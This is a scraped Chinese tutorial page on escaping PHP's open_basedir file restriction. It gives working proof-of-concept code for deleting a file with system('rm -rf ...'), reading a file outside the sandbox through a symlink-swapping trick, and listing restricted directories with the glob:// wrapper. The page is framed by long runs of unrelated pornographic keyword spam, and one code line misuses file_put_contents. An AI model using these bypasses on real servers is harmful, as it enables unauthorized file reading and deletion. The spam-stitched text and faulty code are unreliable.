成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識(shí)庫 > PHP繞過open_basedir限制操作文件的方法

PHP繞過open_basedir限制操作文件的方法

熱門標(biāo)簽:拉薩打電話機(jī)器人 寶安400電話辦理 智能外呼電銷系統(tǒng) 沈陽人工智能電銷機(jī)器人公司 合肥外呼系統(tǒng)app 電銷機(jī)器人-快迭智能 高識(shí)別電銷機(jī)器人 h5 地圖標(biāo)注 哈爾濱400電話辦理到易號(hào)網(wǎng)

0x00 預(yù)備知識(shí)

關(guān)于open_basedir

open_basedir是php.ini中的一個(gè)配置選項(xiàng)

它可將用戶訪問文件的活動(dòng)范圍限制在指定的區(qū)域,

假設(shè)open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通過web1訪問服務(wù)器的用戶就無法獲取服務(wù)器上除了/home/wwwroot/home/web1/和/tmp/這兩個(gè)目錄以外的文件。

注意用open_basedir指定的限制實(shí)際上是前綴,而不是目錄名。

舉例來說: 若"open_basedir = /dir/user", 那么目錄 "/dir/user" 和 "/dir/user1"都是可以訪問的。所以如果要將訪問限制在僅為指定的目錄,請(qǐng)用斜線結(jié)束路徑名。

關(guān)于符號(hào)鏈接

符號(hào)鏈接又叫軟鏈接,是一類特殊的文件,這個(gè)文件包含了另一個(gè)文件的路徑名(絕對(duì)路徑或者相對(duì)路徑)。

路徑可以是任意文件或目錄,可以鏈接不同文件系統(tǒng)的文件。在對(duì)符號(hào)文件進(jìn)行讀或?qū)懖僮鞯臅r(shí)候,系統(tǒng)會(huì)自動(dòng)把該操作轉(zhuǎn)換為對(duì)源文件的操作,但刪除鏈接文件時(shí),系統(tǒng)僅僅刪除鏈接文件,而不刪除源文件本身。

0x01 命令執(zhí)行函數(shù)

由于open_basedir的設(shè)置對(duì)system等命令執(zhí)行函數(shù)是無效的,所以我們可以使用命令執(zhí)行函數(shù)來訪問限制目錄。

我們首先創(chuàng)建一個(gè)目錄

/home/puret/test/

且在該目錄下新建一個(gè)1.txt 內(nèi)容為abc

nano 1.txt

再在該目錄下創(chuàng)建一個(gè)目錄命名為b

mkdir b

并且在該目錄下創(chuàng)建一個(gè)1.php文件內(nèi)容為

?php
  echo file_get_contents("../1.txt");
?>

且在php.ini中設(shè)置好我們的open_basedir

open_basedir = /home/puret/test/b/

我們嘗試執(zhí)行1.php看看open_basedir是否會(huì)限制我們的訪問

執(zhí)行效果如圖

很明顯我們無法直接讀取open_basedir所規(guī)定以外的目錄文件。

接下來我們用system函數(shù)嘗試?yán)@open_basedir的限制來刪除1.txt

編輯1.php為

?php
 system("rm -rf ../1.txt");
?>

先來看看執(zhí)行1.php之前的文件情況

執(zhí)行1.php之后

成功通過命令執(zhí)行函數(shù)繞過open_basedir來刪除文件。
由于命令執(zhí)行函數(shù)一般都會(huì)被限制在disable_function當(dāng)中,所以我們需要尋找其他的途徑來繞過限制。

0x02 symlink()函數(shù)

我們先來了解一下symlink函數(shù)

bool symlink ( string $target , string $link )

symlink函數(shù)將建立一個(gè)指向target的名為link的符號(hào)鏈接,當(dāng)然一般情況下這個(gè)target是受限于open_basedir的。
由于早期的symlink不支持windows,我的測(cè)試環(huán)境就放在Linux下了。

測(cè)試的PHP版本是5.3.0,其他的版本大家自測(cè)吧。

在Linux環(huán)境下我們可以通過symlink完成一些邏輯上的繞過導(dǎo)致可以跨目錄操作文件。

我們首先在/var/www/html/1.php中 編輯1.php的內(nèi)容為

?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

接著在/var/www/中新建一個(gè)1.txt文件內(nèi)容為

"abc"

再來設(shè)置一下我們的open_basedir

open_basedir = /var/www/html/

在html目錄下編輯一個(gè)php腳本檢驗(yàn)一下open_basedir

?php
   file_get_contents("../1.txt");
?>

執(zhí)行看下。

意料之中,文件無法訪問。

我們執(zhí)行剛才寫好的腳本,1.php

可以看到成功讀取到了1.txt的文件內(nèi)容,逃脫了open_basedir的限制

問題的關(guān)鍵就在于

symlink("tmplink/../../1.txt","exploit");

此時(shí)tmplink還是一個(gè)符號(hào)鏈接文件,它指向的路徑是c/d,因此exploit指向的路徑就變成了

c/d/../../1.txt

由于這個(gè)路徑在open_basedir的范圍之內(nèi)所以exploit成功建立了。

之后我們刪除tmplink符號(hào)鏈接文件再新建一個(gè)同名為tmplink的文件夾,這時(shí)exploit所指向的路徑為

tmplink/../../

由于這時(shí)候tmplink變成了一個(gè)真實(shí)存在的文件夾所以tmplink/../../變成了1.txt所在的目錄即/var/www/

然后再通過訪問符號(hào)鏈接文件exploit即可直接讀取到1.txt的文件內(nèi)容

當(dāng)然,針對(duì)symlink()只需要將它放入disable_function即可解決問題,所以我們需要尋求更多的方法。

0x03 glob偽協(xié)議

glob是php自5.3.0版本起開始生效的一個(gè)用來篩選目錄的偽協(xié)議,由于它在篩選目錄時(shí)是不受open_basedir的制約的,所以我們可以利用它來繞過限制,我們新建一個(gè)目錄在/var/www/下命名為test

并且在/var/www/html/下新建t.php內(nèi)容為

?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

執(zhí)行結(jié)果如圖:

成功躲過open_basedir的限制讀取到了文件。

您可能感興趣的文章:
  • php利用ZipArchive類操作文件的實(shí)例
  • PHP操作文件的一些基本函數(shù)使用示例
  • PHP操作文件類的函數(shù)代碼(文件和文件夾創(chuàng)建,復(fù)制,移動(dòng)和刪除)
  • PHP 操作文件的一些FAQ總結(jié)
  • PHP操作文件方法問答
  • 在PHP中操作文件的擴(kuò)展屬性

標(biāo)簽:山東 張家口 成都 巴中 梅州 林芝 威海 泰州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PHP繞過open_basedir限制操作文件的方法》,本文關(guān)鍵詞  PHP,繞過,open,basedir,限制,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PHP繞過open_basedir限制操作文件的方法》相關(guān)的同類信息!
  • 本頁收集關(guān)于PHP繞過open_basedir限制操作文件的方法的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    性色av蜜臀av浪潮av老女人| 国产精品一区视频网站| 久久99久久99精品免费看小说| 亚洲视频高清| 久久久久无码国产精品一区李宗瑞| 久热av在线| 亚洲AV第二区国产精品| 五月天激情小说| 成人三级av在线| 国产精品一卡二卡在线观看| 欧美 亚洲 另类 激情 另类| 在线观看日韩av电影| 欧美日韩高清区| 国产又粗又长又爽视频| 国产精品7区| 91在线国产剧情| 成人综合专区| 亚洲精品一区二区在线看| 香蕉视频一区二区三区| 国产精品video| 好吊视频一区二区三区| 久久日韩精品一区二区五区| 国产不卡视频| 亚洲va久久久噜噜噜| 国产成人夜间影院在线观看| 全部免费毛片在线播放网站| 亚洲国产精品区| 欧美精品粉嫩高潮一区二区| 国产做受高潮漫动| 欧妇女乱妇女乱视频| 欧美女优在线观看| 少妇被躁爽到高潮无码文| 欧美成人短视频| 99在线精品免费| 欧美精品一二三四| 日韩欧美黄色网址| 精品视频一区二区在线观看| 亚洲精品v天堂中文字幕| 欧美日韩亚洲丝袜制服| 精品久久久久久久久久久久久久| 亚洲另类第一页| 91丨九色丨蝌蚪丨老版| 午夜激情视频在线播放| 粉嫩tv在线播放| 午夜视频在线免费| 国产精品一区在线看| 欧美亚视频在线中文字幕免费| 91精品久久久久久久久久另类| 国产真人无码作爱视频免费| 中国xxx69视频| 91在线在线观看| 欧美在线视频在线播放完整版免费观看| 欧美女优在线视频| 欧美成人video| 中文字幕中文字幕精品| 大陆一级毛片| 菠萝蜜视频网站入口| 精品亚洲精品| 四虎永久免费在线观看| 免费成人黄色大片| 999久久久精品国产| 精品人妻一区二区三区日产| 国产精品麻豆入口| 国模无码大尺度一区二区三区| 国产一区二区三区不卡免费观看| 国产人妻大战黑人20p| 国产九九在线观看| 尤物在线网址| 国产精品1区2区3区4区| 制服视频三区第一页精品| 老司机午夜激情| 国产网红主播福利一区二区| 少妇高潮一区二区三区喷水| 欧美日韩性生活片| 欧美日韩国产激情| 香蕉视频色版| 岛国av在线播放| 曰韩精品一区二区| 久久久777精品电影网影网| av日韩在线免费观看| 亚洲精品久久久久久宅男| 欧洲亚洲免费在线| 中文岛国精品亚洲一区| 视频精品一区二区| 国产香蕉在线| 亚洲精品www| 蜜桃av噜噜一区二区三区小说| 在线欧美成人| 欧美多人爱爱视频网站| 中文字幕v亚洲ⅴv天堂| 7777久久香蕉成人影院| 91九色单男在线观看| 中文字幕永久在线视频| 成人av在线播放| 日韩 欧美 中文| 九九热在线视频观看这里只有精品| 国产精品2024| 香蕉视频国产在线观看| 91久久国产综合久久91| 欧美日韩国产麻豆| 天天综合网 天天综合色| 成人免费电影网址| 亚洲精品a级片| 99视频精品免费| 开心快乐六月丁香婷婷| 69av视频在线播放| 97在线观看播放| 东方欧美亚洲色图在线| 久久久久久久久久国产精品| 久久久久国产一区二区三区| 亚洲一区二区免费在线| 精品人妻大屁股白浆无码| 欧美电影一区二区| 精品欧美日韩| 国内自拍中文字幕| 91小视频xxxx网站在线| 北岛玲一区二区| 欧美久久久一区| 天天干天天干天天干天天| 最近在线中文字幕| 91在线高清免费观看| 国产精品不卡在线观看| 国产亚洲成aⅴ人片在线观看| 国产在线一区二区综合免费视频| www.com操| 精品久久久久久久久久久久| 中文字幕日韩视频| aaa大片在线观看| 国产精品欧美一区二区三区奶水| 婷婷综合久久一区二区三区| 久久91亚洲人成电影网站| 美女无遮挡网站| 四虎精品欧美一区二区免费| 国产精品一二三四| 蜜桃传媒在线观看免费进入| 在线观看视频免费| 欧美好骚综合网| 欧美黄色a视频| av中文网站| 欧美另类videoxo高潮| 国产一二三四区在线| 色哟哟欧美精品| 欧美亚洲成人精品| 特黄aaaaaaaaa毛片免费视频| av资源中文在线天堂| 亚洲精品菠萝久久久久久久| 免费网站www在线观看| 午夜视频在线免费播放| 美女被到爽高潮视频| 国产青草视频在线观看视频| 久久精品一区二区三区不卡免费视频| 国产中文一区二区| 五月婷婷丁香在线| 天天天天天天天干| 久久黄色免费视频| 日韩激情免费视频| 高清无码一区二区在线观看吞精| 日本免费在线观看| 亚洲成人xxx| 国产不卡高清在线观看视频| 日本国产亚洲| 偷窥国产亚洲免费视频| 国产对白在线播放| 亚洲一区二区免费| 亚洲电影在线一区二区三区| 国产精品又粗又长| 91av视频在线观看| 中日韩免视频上线全都免费| 人妻无码一区二区三区| 免费看黄色a级片| 亚洲国产精品成人久久综合一区| 日本道色综合久久| 激情欧美一区二区三区黑长吊| 国产精品每日更新在线播放网址| 乳色吐息在线观看| 国产女大学生av| 日韩一区二区免费视频| 成人性生交大免费看| 91嫩草视频在线观看| 日本一区二区三区高清不卡| 国产成人一二三区| 99精产国品一二三产品香蕉| 久久aⅴ国产欧美74aaa| 女同一区二区三区| 欧美特级黄色片| 久久久影院一区二区三区| 美国十次综合久久| 在线免费观看你懂的| 亚洲AV无码久久精品国产一区| 亚洲免费在线播放视频| 亚洲午夜在线电影| 国产sm主人调教女m视频| 中文字幕av观看| 日韩av资源在线| 国产精品久久一区二区三区不卡| 日韩成人xxxx| 精品人妻无码中文字幕18禁| 中文av免费观看| 66国产精品| 粗暴蹂躏中文一区二区三区| 国产丝袜视频在线播放| 亚洲欧美国产日韩综合| av激情亚洲男人天堂| 九九九久久久久久| 7777精品伊人久久久大香线蕉| 在线国产精品一区| 一区二区三区四区五区视频在线观看| 中文字幕字幕中文在线中不卡视频| 国产呦精品一区二区三区网站| 国产超碰人人模人人爽人人添| 日韩免费成人网| 亚洲第一天堂av| 成人两性免费视频| 激情av一区二区| 韩国三级电影在线观看婷婷| 暴力调教一区二区三区| 麻豆免费视频网站入口| 日产精品久久久久久久蜜臀| 91中文在线| 91玉足脚交嫩脚丫在线播放| 成人小电影网站| 黄色小视频大全| 国产成人av电影免费在线观看| 免费看美女隐私的视频| 亚洲国产日韩欧美在线观看| 中文字幕42页丝袜| 成人激情视频在线| 久久免费视频2| 午夜国产福利| av在线播放一区二区三区| 国产噜噜噜噜久久久久久久久| 99国产视频| 国产真实夫妇交换视频| 黄色的电影在线-骚虎影院-骚虎视频| 国产无遮挡又黄又爽在线观看| xxxxxhd亚洲人hd| 国产激情精品一区二区三区| 五月天婷婷在线观看| 亚洲国产一区二区三区在线观看| 日韩精品成人一区二区三区| 在线观看亚洲电影| 成人影视免费观看| 亚州av中文字幕在线免费观看| 韩国中文字幕av| www在线观看黄色| 天堂社区 天堂综合网 天堂资源最新版| 黄瓜视频18免费观看| 国产永久精品大片wwwapp| 黄色成人在线视频| 成年人黄视频网站| 国产激情久久久久| 99久久伊人久久99| 综合欧美精品| 国产传媒一区二区| 又黄又免费的网站| 99re热久久这里只有精品34| 国产麻豆精品一区二区三区v视界| 国产网红在线| 国产精品㊣新片速递bt| 亚洲精品一卡二卡| 亚洲欧美视频一区二区| 亚洲第一成年网| 桥本有菜亚洲精品av在线| 欧美日韩一区二区三区在线观看免| 亚洲国产va精品久久久不卡综合| 日韩av无码中文字幕| 精品理论电影在线| 国产福利久久精品| 一区二区三区免费观看| 欧美va日韩va| 中文字幕第六页| 无码一区二区三区在线| 国产一级在线观看| 在线精品视频视频中文字幕| 亚洲aa在线观看| 成年人免费网站在线观看| 亚洲网站视频在线观看| 欧美3p视频| 国产模特av私拍大尺度| 精品一区二区av| 国产精品免费麻豆入口| 亚洲国产另类久久精品| 国产精品一区二区美女视频免费看| 久久综合九色综合欧美98| 国产精品久久久久久久av电影| 亚洲欧美在线播放| 国产真实乱对白精彩久久| 91丨porny丨在线中文| 国产精品福利网站| 国产又黄又粗又硬| 精品视频全国免费看| 免费精品国产的网站免费观看| 国产黄网站在线观看| 香港日本韩国三级网站| 久久免费手机视频| 播九公社成人综合网站| 丝袜 亚洲 另类 欧美 重口| 国产精品毛片久久久久久久久久99999999| 手机在线观看免费av| 久久免费影院| 国产视频高清免费| 欧美影院视频| 中文字幕人妻互换av久久| 亚洲一区电影777| 99精品视频免费版的特色功能| 136国产福利精品导航网址| 九色91av视频| 91精品国产自产观看在线| 欧美电影免费观看完整版| 男人女人黄一级| 水野朝阳av一区二区三区| 91理论片午午论夜理片久久| 国产欧美一区二区三区四区| 青春草在线视频观看| 国产一区日韩一区| 爱看av在线入口| 日本道免费精品一区二区三区| 91日本视频在线| 日韩视频专区| 精品乱码一区二区三区| 精品欧美日韩一区二区| 成人免费看片98欧美| 粉嫩的18在线观看极品精品| 国产不卡av在线| 久久成人国产精品入口| 成人软件网18免费视频| 欧美久久一二区| 免费大片黄在线观看|